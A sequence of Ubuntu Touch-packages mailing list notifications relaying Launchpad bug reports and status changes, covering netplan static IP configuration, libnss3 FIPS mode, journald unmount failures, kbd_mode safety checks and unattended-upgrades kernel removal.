Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1832042

Title:
  static ip= address configuration does not end up in netplan file

Status in initramfs-tools package in Ubuntu:
  Fix Released
Status in initramfs-tools source package in Xenial:
  Confirmed
Status in initramfs-tools source package in Bionic:
  Confirmed
Status in initramfs-tools source package in Cosmic:
  Confirmed
Status in initramfs-tools source package in Disco:
  Won't Fix
Status in initramfs-tools source package in Eoan:
  Fix Released

Bug description:
  static ip= address configuration does not end up in netplan file

  klibc ipconfig process ip=...:$proto and dumps the state into a file,
  which is then parsed to generate runtime netplan configs.

  For static ip configuration ipconfig parses $proto values "off" "none"
  "static" as the same PROTO_NONE and encodes it as PROTO="none" in the
  serialized state file.

  The function that dumps ip data (_declare_ip_info()) has keys only
  values for dhcp dhcp4 dhcp6 static. But not "none" (used by ipconfig)
  or "off" (as valid by the kernel).

  This means that netplan files generated in /run for static ip
  configuration are incomplete.

  Imho we should accept "off" "none" "static" as all valid PROTO
  settings for static ip configuration.

  [Impact]

   * `netplan apply` will not reapply static ip configuration as
  declared in ip= kernel cmdline.

  [Test Case]

   * boot with static ip configuration in the kernel cmdline, e.g.

ip=10.245.232.12::10.245.232.1:255.255.255.255:clound01:enc603:none

Check that /run/netplan/*.yaml contains addresses stanzas.

  [Regression Potential]

   * Runtime netplan configuration will now be more complete. Meaning
  that static ip addresses will now persist across `netplan apply` /
  downing, and reupping an interface. Whilst it was intended for static
  ip addresses to be there, it might be unexpected that they actually
  work properly now.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1832042/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1846405] Re: MSI GS65 8RF key between space and alt-gr in german layout is mapped wrong

[Steve Langasek]

** Changed in: systemd (Ubuntu Disco)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1846405

Title:
  MSI GS65 8RF key between space and alt-gr in german layout is mapped
  wrong

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Disco:
  Won't Fix

Bug description:
  on a MSI GS65 8RF laptop the key between space and alt-gr is currently
  mapped to the same keycode as "#".

  Please backport the upstream fix at
  https://github.com/systemd/systemd/pull/11508 to fix this.

  Without this fix there is no way to type "|", "<" or ">" an this
  laptop model when using the german keyboard layout.

  ProblemType: Bug
  DistroRelease: Ubuntu 19.04
  Package: udev 240-6ubuntu5.7
  ProcVersionSignature: Ubuntu 5.0.0-29.31-generic 5.0.21
  Uname: Linux 5.0.0-29-generic x86_64
  ApportVersion: 2.20.10-0ubuntu27.1
  Architecture: amd64
  CustomUdevRuleFiles: 99-msi-rgb.rules 70-snap.core.rules
  Date: Wed Oct  2 22:08:27 2019
  InstallationDate: Installed on 2019-09-23 (9 days ago)
  InstallationMedia: Ubuntu 19.04 "Disco Dingo" - Release amd64 (20190416)
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 002: ID 1038:1122 SteelSeries ApS 
   Bus 001 Device 003: ID 8087:0aaa Intel Corp. 
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: Micro-Star International Co., Ltd. GS65 Stealth Thin 8RF
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.0.0-29-generic 
root=UUID=540feb73-7de0-4295-ba5a-a098cbf5f0b4 ro quiet splash vt.handoff=1
  SourcePackage: systemd
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/21/2019
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: E16Q2IMS.112
  dmi.board.asset.tag: Default string
  dmi.board.name: MS-16Q2
  dmi.board.vendor: Micro-Star International Co., Ltd.
  dmi.board.version: REV:1.0
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: Micro-Star International Co., Ltd.
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrE16Q2IMS.112:bd05/21/2019:svnMicro-StarInternationalCo.,Ltd.:pnGS65StealthThin8RF:pvrREV1.0:rvnMicro-StarInternationalCo.,Ltd.:rnMS-16Q2:rvrREV1.0:cvnMicro-StarInternationalCo.,Ltd.:ct10:cvrN/A:
  dmi.product.family: GS
  dmi.product.name: GS65 Stealth Thin 8RF
  dmi.product.sku: 16Q2.1
  dmi.product.version: REV:1.0
  dmi.sys.vendor: Micro-Star International Co., Ltd.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1846405/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1837734] Re: libnss3 reads fips_enabled flag and automatically switches to FIPS mode

[Steve Langasek]

** Changed in: nss (Ubuntu Disco)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to nss in Ubuntu.
https://bugs.launchpad.net/bugs/1837734

Title:
  libnss3 reads fips_enabled flag and automatically switches to FIPS
  mode

Status in nss package in Ubuntu:
  Fix Released
Status in nss source package in Xenial:
  Won't Fix
Status in nss source package in Bionic:
  Fix Committed
Status in nss source package in Disco:
  Won't Fix
Status in nss source package in Eoan:
  Fix Released

Bug description:
  [IMPACT]
  nss is not a FIPS certified library. On a machine running FIPS enabled 
kernel, the library by default goes into FIPS mode if 
/proc/sys/crypto/fips_enabled=1. This is an untested configuration and since 
libnss3 is not a certified library we propose disabling reading the 
'fips_enabled' flag and therefore switching the library automatically into FIPS 
mode. 

  The proposed patch disables reading the /proc/sys/crypto/fips_enabled
  flag. The users of the library however can force nss into FIPS mode
  via an environment variable. We plan to leave it as is so as not to
  regress existing users who may be using it.

  The issue impacts libnss3 versions in eoan, disco, bionic and xenial.

  lsb_release -rd
  Description:  Ubuntu Eoan Ermine (development branch)
  Release: 19.10

  Version: 2:3.45-1ubuntu1

  lsb_release -rd
  Description: Ubuntu Disco Dingo
  Release: 19.04

  Version: 2:3.42-1ubuntu2

  lsb_release -rd
  Description:  Ubuntu Bionic Beaver
  Release:  18.04

  Version: 2:3.35-2ubuntu2.3

  lsb_release -rd
  Description:  Ubuntu 16.04.3 LTS
  Release:  16.04

  Version: 2:3.28.4-0ubuntu0.16.04

  [FIX]
  This fix proposes to disable libnss3 reading proc/sys/crypto/fips_enabled. We 
only want fips certified modules reading this file and running in fips mode. 
libnss3 is not one of our fips certified modules, so should not be reading this 
along with our fips certified modules to determine whether to run in fips mode.

  Users who do want to run the library in FIPS mode can do so by using
  the environment variable "NSS_FIPS". We propose to leave it as is so
  as not to regress anyone using this. The user who is using this option
  should be doing so with the awareness.

  [TEST]
  Tested on a xenial and bionic desktop ISO running FIPS enabled kernel and in 
FIPS mode. With the patch fix no crashes were observed when launching firefox 
browser.
  Without the patch fix, firefox crashes.

  Tested on a xenial and bionic desktop ISO running non-FIPS generic
  kernel. With the patch fix, firefox worked as expected and no changes
  were observed.

  [REGRESSION POTENTIAL]
  The regression potential for this is small. A FIPS kernel is required to
  create /proc/sys/crypto/fips_enabled and it is not available in standard 
ubuntu archive. For users forcing FIPS through environment variable, nothing 
has changed.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/nss/+bug/1837734/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847816] Re: storage autopkgtest always fails with linux-{kvm, azure, etc} kernels that don't include scsi_debug module

[Steve Langasek]

** Changed in: linux-kvm (Ubuntu Disco)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1847816

Title:
  storage autopkgtest always fails with linux-{kvm,azure,etc} kernels
  that don't include scsi_debug module

Status in autopkgtest-cloud:
  Fix Released
Status in linux-kvm package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  Fix Released
Status in linux-kvm source package in Xenial:
  New
Status in systemd source package in Xenial:
  Fix Released
Status in linux-kvm source package in Bionic:
  New
Status in systemd source package in Bionic:
  Fix Released
Status in linux-kvm source package in Disco:
  Won't Fix
Status in systemd source package in Disco:
  Won't Fix
Status in linux-kvm source package in Eoan:
  New
Status in systemd source package in Eoan:
  Fix Released
Status in linux-kvm source package in Focal:
  New
Status in systemd source package in Focal:
  Fix Released

Bug description:
  Note: this bug touches on multiple packages:
  - autopkgtest-cloud: merge request open to install 'modules-extra' package
  - systemd: update autopkgtest to skip test if scsi_debug module isn't 
available (SRU template below is for this change)
  - linux-kvm: has CONFIG_SCSI_DEBUG unset, but would be good to have 
scsi_debug module built for this kernel

  [SRU template for systemd]

  [impact]

  the 'storage' autopkgtest requires the 'scsi_debug' module, and if it
  can't load it (and it's not built-in), the test fails.  On some custom
  kernels, this module is included in the new 'linux-modules-extra-*'
  deb which isn't installed by default, so the test always fails when
  doing a reverse-dep autopkgtest using such a kernel's meta pkg.

  Additionally, some custom kernels, like linux-kvm, have SCSI_DEBUG
  disabled entirely; for those kernels, it will never be possible to
  load the scsi_debug module and the test should be skipped.

  [test case]

  run the 'storage' autopkgtest with a custom kernel that doesn't
  provide the scsi_debug module in the standard linux-modules deb, or
  check the autopkgtest.u.c history, for example:

  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac
  /autopkgtest-focal/focal/amd64/s/systemd/20191209_150835_237a5@/log.gz

  [regression potential]

  as this modifies one of the autopkgtest --setup-commands, a regression
  would most likely cause immediate test failure due to failing to
  install the proper linux-* debs.

  For the systemd 'storage' test change, this only skips the test if the
  scsi_debug module can't be loaded (and isn't already present, i.e.
  loaded or built-in).  Any regression potential from that is low, but
  likely would involve incorrect test skips and/or missing valid
  problems due to skipping the test.

  [scope]

  systemd in all releases needs to have its 'storage' test updated

To manage notifications about this bug go to:
https://bugs.launchpad.net/autopkgtest-cloud/+bug/1847816/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1883027] Re: dump_acpi_tables.py: fix incorrect output and change format

[Alex Hung]

Proposed package is tested (version below) and this fixes
dump_acpi_tables.py.

~$ lsb_release -c ; apt-cache policy apport
Codename:   focal
apport:
  Installed: 2.20.11-0ubuntu27.4
  Candidate: 2.20.11-0ubuntu27.4



** Tags removed: verification-needed verification-needed-focal
** Tags added: verification-done verification-done-focal

** Tags removed: verification-done
** Tags added: verification-needed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1883027

Title:
  dump_acpi_tables.py: fix incorrect output and change format

Status in Apport:
  Confirmed
Status in apport package in Ubuntu:
  Fix Released
Status in apport source package in Focal:
  Fix Committed
Status in apport source package in Groovy:
  Fix Released

Bug description:
  [Impact]

    dump_acpi_tables.py does not always generate 4-char table names
  (which is defined by ACPI spec), and it can miss or duplicate data of
  ACPI tables in /sys/firmware/acpi/tables.

  [Test Case]
    Tested with ACPI tables from Dell's Precision 3530. The outputs are almost 
the same as ones from "acpidump". The difference is the order of ACPI tables in 
the output but the order is not important.

1. run dump_acpi_tables.py
2. run acpidump 
3. compare the outputs

Note: acpidump is from acpica-tools

  [Regression Potential]

    Formats were changed to be the same as outputs from "acpidump", but
  known tools, such as acpiexec and fwts, by default reads outputs from
  acpidump and they do not reply on spaces and upper/lower cases.

  [Other Info]

    See original bug reports as below:

  dump_acpi_tables.py generates log files that is similar as the output
  from "acpidump" in acpica-tools. The output can be passed to other
  utilities in acpica-tools and fwts.

  It, however, has some subtle differences and some errors.

  Summary:

  1. ACPI tables have 4-char signatures - meaning SSDT's are SSDT, not
  SSDT1, SSDT2 and so on. Each table is unique by its table ID.

  Original:
    SSDT1, SSDT2, SSDT3 ...

  Changed:
    SSDT, SSDT, SSDT ...

  2. (Minor) acpidump outputs are all in upper cases

  3. (Minor) acpidump offset are aligned by data, not address

  Original:
    FFF0: 53 41 56 43 52 44 43 41 4E 43 52 4E 72 4E 50 4D  SAVCRDCANCRNrNPM
    1: 56 0A 04 00 0C FC FF FF FF 0A 03 0A 03 52 44 43  VRDC

  Changed:
  FFF0: 53 41 56 43 52 44 43 41 4E 43 52 4E 72 4E 50 4D  SAVCRDCANCRNrNPM
     1: 56 0A 04 00 0C FC FF FF FF 0A 03 0A 03 52 44 43  VRDC

  4. (Bug) dump_acpi_tables.py generates an extra line when data sizes
  are multiple of 16 bytes

  Original:
  05F0: 30 30 0B 00 08 00 A4 48 50 53 44 A4 53 50 53 44  00.HPSD.SPSD
  05F0: 30 30 0B 00 08 00 A4 48 50 53 44 A4 53 50 53 44 
 00.HPSD.SPSD

  Corrected:
  05F0: 30 30 0B 00 08 00 A4 48 50 53 44 A4 53 50 53 44  00.HPSD.SPSD

  5. (Bug) dump_acpi_tables.py misses an line when data sizes are
  multiple of 15 bytes

  Original:
  07E0: 42 0A 87 5C 2F 03 5F 53 42 5F 55 42 54 43 43 43  B..\/._SB_UBTCCC

  Corrected:
  07E0: 42 0A 87 5C 2F 03 5F 53 42 5F 55 42 54 43 43 43  B..\/._SB_UBTCCC
  07F0: 49 33 86 5C 2E 5F 53 42 5F 55 42 54 43 0A 80 I3.\._SB_UBTC..

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1883027/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1886087] Re: dbus Method “SignalPoll” is returning incorrect type

[Adam Fairbrother]

** Package changed: wpa (Ubuntu) => wpasupplicant (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to wpa in Ubuntu.
https://bugs.launchpad.net/bugs/1886087

Title:
  dbus Method “SignalPoll” is returning incorrect type

Status in wpasupplicant package in Ubuntu:
  New

Bug description:
  The SignalPoll method should return a 'a{sv}' type as shown by
  introspection:

  $ gdbus introspect -y -d fi.w1.wpa_supplicant1 -o 
/fi/w1/wpa_supplicant1/Interfaces/0  | grep SignalPoll
SignalPoll(out a{sv} args);

  instead a 'v' type is returned:

  $ gdbus call -y -d fi.w1.wpa_supplicant1 -o 
/fi/w1/wpa_supplicant1/Interfaces/0 -m 
fi.w1.wpa_supplicant1.Interface.SignalPoll
  (<{'rssi': <-64>, 'linkspeed': <24>, 'noise': <>, 'frequency': , 'width': <'40 MHz'>}>,)

  Description:Ubuntu 20.04 LTS
  Release:20.04

  wpasupplicant:
Installed: 2:2.9-1ubuntu4.1
Candidate: 2:2.9-1ubuntu4.1
Version table:
   *** 2:2.9-1ubuntu4.1 500
  500 http://ports.ubuntu.com/ubuntu-ports focal-updates/main arm64 
Packages
  100 /var/lib/dpkg/status
   2:2.9-1ubuntu4 500
  500 http://ports.ubuntu.com/ubuntu-ports focal/main arm64 Packages

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/wpasupplicant/+bug/1886087/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1788048] Re: systemd journald failed unmounting var

[Steve Langasek]

** Changed in: systemd (Ubuntu Disco)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1788048

Title:
  systemd journald failed unmounting var

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Confirmed
Status in systemd source package in Bionic:
  Confirmed
Status in systemd source package in Cosmic:
  Confirmed
Status in systemd source package in Disco:
  Won't Fix
Status in systemd source package in Eoan:
  Confirmed

Bug description:
  [impact]

  on a system with /var and/or /var/log mounted separately from /,
  shutdown can't unmount /var (or /var/log) cleanly because systemd-
  journald is using it.

  [test case]

  install a system with /var mounted separately from /

  shutdown, and notice:

  [FAILED] Failed unmounting /var.

  [regression potential]

  TBD

  [other info]

  original description:

  --

  When the system is shut down or restarted the systemd-journal does not
  disassemble the disks correctly.

  On this thread https://unix.stackexchange.com/questions/378678/why-
  do-i-get-the-error-failed-unmounting-var-during-shutdown

  I checked what editing /etc/systemd/journald.conf
  to change the Storage = line to Storage = volatile the problem is solved, but 
some of the logs on the shutdown are lost.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: systemd 237-3ubuntu10.3
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  Date: Mon Aug 20 18:15:07 2018
  ExecutablePath: /lib/systemd/systemd-journald
  InstallationDate: Installed on 2018-08-20 (0 days ago)
  InstallationMedia: Ubuntu-Server 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  Lsusb:
   Bus 001 Device 002: ID 80ee:0021 VirtualBox USB Tablet
   Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  MachineType: innotek GmbH VirtualBox
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=65cb761b-4881-4031-9113-e6bb6a1437b4 ro
  SourcePackage: systemd
  SystemdDelta:
   [EXTENDED]   /lib/systemd/system/rc-local.service → 
/lib/systemd/system/rc-local.service.d/debian.conf
   [EXTENDED]   /lib/systemd/system/user@.service → 
/lib/systemd/system/user@.service.d/timeout.conf

   2 overridden configuration files found.
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 12/01/2006
  dmi.bios.vendor: innotek GmbH
  dmi.bios.version: VirtualBox
  dmi.board.name: VirtualBox
  dmi.board.vendor: Oracle Corporation
  dmi.board.version: 1.2
  dmi.chassis.type: 1
  dmi.chassis.vendor: Oracle Corporation
  dmi.modalias: 
dmi:bvninnotekGmbH:bvrVirtualBox:bd12/01/2006:svninnotekGmbH:pnVirtualBox:pvr1.2:rvnOracleCorporation:rnVirtualBox:rvr1.2:cvnOracleCorporation:ct1:cvr:
  dmi.product.family: Virtual Machine
  dmi.product.name: VirtualBox
  dmi.product.version: 1.2
  dmi.sys.vendor: innotek GmbH
  mtime.conffile..etc.systemd.journald.conf: 2018-08-20T18:00:58.586165

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1788048/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1543799] Re: isc-dhcp-server & isc-dhcp-server6 systemd service units use the same RuntimeDirectory leading to loss of pid files

[Steve Langasek]

** Changed in: isc-dhcp (Ubuntu Cosmic)
   Status: Triaged => Won't Fix

** Changed in: isc-dhcp (Ubuntu Disco)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to isc-dhcp in Ubuntu.
https://bugs.launchpad.net/bugs/1543799

Title:
  isc-dhcp-server & isc-dhcp-server6 systemd service units use the same
  RuntimeDirectory leading to loss of pid files

Status in isc-dhcp package in Ubuntu:
  Triaged
Status in isc-dhcp source package in Xenial:
  Triaged
Status in isc-dhcp source package in Bionic:
  Triaged
Status in isc-dhcp source package in Cosmic:
  Won't Fix
Status in isc-dhcp source package in Disco:
  Won't Fix

Bug description:
  dhcpd reports 'Can't create PID file /run/dhcp-server/dhcpd.pid' (or
  '/run/dhcp-server/dhcpd6.pid' for isc-dhcp-server6), and no file is
  found /run/dhcp-server.

  Additionally, both isc-dhcp-server & isc-dhcp-server6 service unit
  files specify the RuntimeDirectory 'dhcp-server', which is removed
  when either unit stops (and thus would wipe out the other unit's pid
  file, were it being successfully written).

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: isc-dhcp-server 4.3.3-5ubuntu4
  ProcVersionSignature: Ubuntu 4.4.0-2.16-generic 4.4.0
  Uname: Linux 4.4.0-2-generic x86_64
  ApportVersion: 2.19.4-0ubuntu2
  Architecture: amd64
  Date: Tue Feb  9 21:34:08 2016
  InstallationDate: Installed on 2016-02-09 (0 days ago)
  InstallationMedia: Ubuntu-Server 16.04 LTS "Xenial Xerus" - Alpha amd64 
(20160206)
  ProcEnviron:
   LANGUAGE=en_GB:en
   TERM=linux
   PATH=(custom, no user)
   LANG=en_GB.UTF-8
   SHELL=/bin/bash
  SourcePackage: isc-dhcp
  UpgradeStatus: No upgrade log present (probably fresh install)
  modified.conffile..etc.dhcp.dhcpd.conf: [modified]
  mtime.conffile..etc.dhcp.dhcpd.conf: 2016-02-09T21:11:20.104056

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/isc-dhcp/+bug/1543799/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1832882] Re: libcurl-gnutls segfaults spotify client

[Steve Langasek]

** Changed in: curl (Ubuntu Disco)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to curl in Ubuntu.
https://bugs.launchpad.net/bugs/1832882

Title:
  libcurl-gnutls segfaults spotify client

Status in curl package in Ubuntu:
  Fix Released
Status in curl source package in Disco:
  Won't Fix

Bug description:
  The latest release of Spotify client segfaults in libcurl-gnutls as can be 
read in this thread on spotify support forum:
  
https://community.spotify.com/t5/Desktop-Linux/Ubuntu-19-04-deb-package-segfault/td-p/4761479

  According to one participant the work-around is to install debian
  packages libgnutls30_3.6.8-1_amd64.deb and
  libcurl3-gnutls_7.64.0-3_amd64.deb

  Ubuntu 19.04 version of the packages:
  libgnutls30 3.6.5-2ubuntu1.1
  libcurl3-gnutls 7.64.0-2ubuntu1.1

  As the bug can be resolved by installing debian packages, I assume
  Ubuntu's version of the packages is at fault and should be upgraded to
  match debian's level as soon as possible.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/curl/+bug/1832882/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 520546] Re: [SRU]Alt+KEY incorrectly behaves like Ctrl+Alt+KEY, and/or unwanted VT switch from Alt+Left/Right

[Steve Langasek]

** Changed in: linux (Ubuntu Disco)
   Status: Confirmed => Won't Fix

** Changed in: linux (Ubuntu Cosmic)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to console-setup in Ubuntu.
https://bugs.launchpad.net/bugs/520546

Title:
  [SRU]Alt+KEY incorrectly behaves like Ctrl+Alt+KEY, and/or unwanted VT
  switch from Alt+Left/Right

Status in console-setup package in Ubuntu:
  Fix Released
Status in kbd package in Ubuntu:
  Fix Released
Status in xorg-server package in Ubuntu:
  Invalid
Status in console-setup source package in Xenial:
  Confirmed
Status in kbd source package in Xenial:
  Won't Fix
Status in xorg-server source package in Xenial:
  Confirmed
Status in console-setup source package in Bionic:
  Fix Released
Status in kbd source package in Bionic:
  Won't Fix
Status in linux source package in Bionic:
  Confirmed
Status in xorg-server source package in Bionic:
  Invalid
Status in console-setup source package in Cosmic:
  Fix Released
Status in kbd source package in Cosmic:
  Won't Fix
Status in linux source package in Cosmic:
  Won't Fix
Status in xorg-server source package in Cosmic:
  Invalid
Status in console-setup source package in Disco:
  Fix Released
Status in kbd source package in Disco:
  Won't Fix
Status in linux source package in Disco:
  Won't Fix
Status in xorg-server source package in Disco:
  Invalid
Status in console-setup source package in Eoan:
  Fix Released
Status in kbd source package in Eoan:
  Fix Released
Status in linux source package in Eoan:
  Confirmed
Status in xorg-server source package in Eoan:
  Invalid

Bug description:
  (kbd)
  [Impact]

   * kbd_mode -u is documented to break keyboards in modes other than xlate and 
unicode, while it is still called by some scripts. Those scripts are called 
transitively by maintainer scripts such as the one already fixed in 
console-setup. 
   * To avoid accidentally breaking keyboards a -f option is added to force 
such breaking mode changes. Without -f only the safe mode changes are performed 
and an error is printed when the requested mode change is not safe. Next 
upstream version will also exit with error, but the cherry-picked fix makes 
kbd_mode return success even when the mode switch is not performed to avoid 
regressions of scripts.

  [Test case]

   * Verify that safe mode switches work and dangerous ones are skipped
  without -f. Please note that the test will temporarily break the
  system's keyboard and it is recommended to run the test in a VM.

  rbalint@MacBookAir-test:~$ sudo kbd_mode -C /dev/tty4; echo $?
  The keyboard is in Unicode (UTF-8) mode
  0
  rbalint@MacBookAir-test:~$ sudo kbd_mode -a -C /dev/tty4; echo $?
  0
  rbalint@MacBookAir-test:~$ sudo kbd_mode -a -C /dev/tty4; echo $?
  0
  rbalint@MacBookAir-test:~$ sudo kbd_mode -C /dev/tty4
  The keyboard is in xlate (8-bit) mode
  rbalint@MacBookAir-test:~$ sudo kbd_mode -u -C /dev/tty4; echo $?
  0
  rbalint@MacBookAir-test:~$ sudo kbd_mode -C /dev/tty4
  The keyboard is in Unicode (UTF-8) mode
  rbalint@MacBookAir-test:~$ sudo kbd_mode -u -C /dev/tty0; echo $?
  The keyboard is in some unknown mode
  Changing to the requested mode may make your keyboard unusable, please use -f 
to force the change.
  0
  rbalint@MacBookAir-test:~$ sudo kbd_mode -f -u -C /dev/tty0; echo $?
  0
  rbalint@MacBookAir-test:~$ sudo kbd_mode -C /dev/tty0
  The keyboard is in Unicode (UTF-8) mode
  rbalint@MacBookAir-test:~$ sudo kbd_mode -s -C /dev/tty0
  rbalint@MacBookAir-test:~$ sudo kbd_mode -C /dev/tty0
  The keyboard is in raw (scancode) mode
  rbalint@MacBookAir-test:~$ sudo kbd_mode -u -C /dev/tty0; echo $?
  The keyboard is in raw (scancode) mode
  Changing to the requested mode may make your keyboard unusable, please use -f 
to force the change.
  0

  [Regression Potential]

   * kbd_mode stops performing breaking mode switches and this may make
  scripts ineffective when trying to perform a breaking change. This is
  the intention of the change and the emitter error helps in finding the
  offending script.

  The following packages found to call kbd_mode directly:
  console-setup
  xinit
  console-cyrillic
  initramfs-tools
  dracut
  console-tools
  xview
  ubiquity's embedded console-setup copy
  console-data
  vnc4

  The console related packages are expected to execute only safe mode
  changes because they should operate on consoles only and the rest seem
  to be safe, too.

  (console-setup)
  [Impact]

   * keyboard-configuration's postinst changes keyboard mode breaking X
  keys.

  [Test Case]

   * Ssh to a system or open a terminal and unset DISPLAY

  $ echo $DISPLAY

  $

   * Check kbd mode, should be raw (set by kbd_mode -s) or unknown:
     $ sudo kbd_mode
     The keyboard is in some unknown mode
     $ sudo kbd_mode
     The keyboard is in raw (scancode) mode
     $

     On Xenial X runs on VT7 thus the graphical 

[Touch-packages] [Bug 1787460] Re: Unattended upgrades removed linux-image-generic

[Steve Langasek]

Ubuntu 19.04 reached end of life on January 23, 2020.  I am therefore
marking this bug 'wontfix' for that release.

** Changed in: linux-meta (Ubuntu Disco)
   Status: Triaged => Won't Fix

** Changed in: linux-meta-hwe (Ubuntu Disco)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1787460

Title:
  Unattended upgrades removed linux-image-generic

Status in apt package in Ubuntu:
  Fix Released
Status in linux-meta package in Ubuntu:
  Triaged
Status in linux-meta-hwe package in Ubuntu:
  Triaged
Status in apt source package in Trusty:
  Fix Released
Status in linux-meta source package in Trusty:
  New
Status in linux-meta-hwe source package in Trusty:
  New
Status in apt source package in Xenial:
  Fix Released
Status in linux-meta source package in Xenial:
  New
Status in linux-meta-hwe source package in Xenial:
  New
Status in apt source package in Bionic:
  Fix Released
Status in linux-meta source package in Bionic:
  New
Status in linux-meta-hwe source package in Bionic:
  New
Status in apt source package in Cosmic:
  Fix Released
Status in linux-meta source package in Cosmic:
  New
Status in linux-meta-hwe source package in Cosmic:
  New
Status in apt source package in Disco:
  Fix Released
Status in linux-meta source package in Disco:
  Won't Fix
Status in linux-meta-hwe source package in Disco:
  Won't Fix

Bug description:
  [Impact]
  If a user accidentally removed linux-generic, unattended-upgrades will also 
autoremove linux-image-generic, leaving them without kernel upgrades.

  [Test Case]
  1. Remove all reverse dependencies of linux-image-generic
  2. Mark linux-image-generic as automatically installed
  3. Run unattended-upgrades -v --dry-run --debug to ensure that 
linux-image-generic is not removed (after verifying that it is, with old apt)

  [Regression potential]
  This adds two regular expressions to the list of packages that must not be 
automatically removed. As such, the only possible regression is that some 
packages starting with linux-image, not containing any dots, are not removed

  [Original bug report]
  On a fairly fresh install of 18.04 with no modifications whatsoever to the 
unattended-upgrades configuration, it decided to remove linux-image-generic 
which also removed linux-modules-extra which caused sound drivers to disappear, 
etc.

  The relative snippet from /var/log/unattended-upgrades/unattended-
  upgrades.log is:

  2018-08-15 06:18:00,048 INFO Starting unattended upgrades script
